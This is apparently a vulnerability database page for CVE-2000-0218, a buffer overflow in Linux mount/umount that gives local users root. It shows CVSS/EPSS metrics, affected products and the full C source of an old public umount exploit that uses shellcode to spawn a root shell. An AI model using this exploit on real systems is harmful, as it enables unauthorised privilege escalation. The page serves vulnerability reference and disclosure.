CVE-2000-0218 : Detail

CVE-2000-0218

0.04%V3
Local
2000-04-10
02h00 +00:00
2004-09-02
07h00 +00:00
CVE.org
NVD
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CVE Descriptions

Buffer overflow in Linux mount and umount allows local users to gain root privileges via a long relative pathname.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 321

Publication date : 1996-08-12 22h00 +00:00
Author : bloodmask
EDB Verified : Yes

/* Reminder - Be sure to fix the includes /str0ke */ -------------------------------------- linux_umount_exploit.c ---------- #include #include #include #include #include #include #define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); execl(PATH_MOUNT, "umount", buff, NULL); } // milw0rm.com [1996-08-13]

Products Mentioned

Configuraton 0

Caldera>>Openlinux >> Version 2.3

    Suse>>Suse_linux >> Version *

    References

    http://www.osvdb.org/6980
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.osvdb.org/7004
    Tags : vdb-entry, x_refsource_OSVDB